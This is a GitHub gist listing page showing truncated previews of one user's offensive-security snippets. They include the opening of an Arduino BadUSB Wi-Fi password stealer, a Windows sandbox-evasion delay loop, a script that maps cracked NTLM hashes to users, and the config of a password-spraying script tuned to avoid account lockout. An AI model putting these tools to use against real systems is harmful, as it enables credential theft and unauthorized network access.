Skip to content

Instantly share code, notes, and snippets.

@PYfffE
PYfffE / tgbotsend.sh
Created September 11, 2025 08:29
One command for sending tg messages
#!/bin/bash
TOKEN=$(cat ~/.config/tgbot_token.txt)
ID="CHANGEME"
URL="https://api.telegram.org/bot$TOKEN/sendMessage"
START_TEXT="[$(date -u '+%d-%m-%Y T%H:%M:%S%Z')] $1"
curl -s -X POST $URL -d chat_id=$ID -d text="$START_TEXT" > /dev/null
@PYfffE
PYfffE / wifi-pwd-steal.c
Created August 28, 2025 10:53
Arduino bad usb wi-fi passwords stealer
#include <Keyboard.h>
void typeKey(int key){
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
void setup() {
pinMode(13, OUTPUT); //LED
}
@PYfffE
PYfffE / delay_without_sleep.c
Last active August 4, 2025 01:19
Sandbox evasion via time delay, without Sleep function.
#include <stdio.h>
#include <windows.h>
static unsigned long long ticks_for_one_second = 1000000000;
void stubfunc(unsigned long long max_count) {
for (unsigned long long j = 0; j < max_count; j++) {
(void)j;
}
}
def bytes2matrix(text):
""" Converts a 16-byte array into a 4x4 matrix. """
return [list(text[i:i+4]) for i in range(0, len(text), 4)]
def matrix2bytes(matrix):
""" Converts a 4x4 matrix into a 16-byte array. """
return [j for i in matrix for j in i]
# I think this script can be changed to bash one liner, but too lazy :(
users_file = 'all_users_hashes.txt' # format: user:ntlmhash
hashes_file = 'all_hashes_passwords.txt' # format: ntlmhash:foundedpassword
users = {i.split(':')[0]: i.split(':')[1] for i in open(users_file, 'r').read().split('\n')[:-1]}
hashes = {i.split(':')[0]: i.split(':')[1] for i in open(hashes_file, 'r').read().split('\n')[:-1]}
for hash_ in hashes.keys():
for user in users.keys():
@PYfffE
PYfffE / passwordspraying.sh
Last active October 12, 2024 20:01
Password spraying script with custom delay (to bypass max auth attemtx) and telegram bot message sending
#!/bin/bash
DOMAIN_NAME="EVIL.CORP"
DOMAIN_CONTROLLER_IP=10.0.0.1
USERS_FILE=users.txt
PASSWORD_FILE=passwords.txt
OUTPUT_LOG=passwordspray.log
SLEEP_TIME=2400
# FOR TG BOT
TOKEN="<CHANGEME>"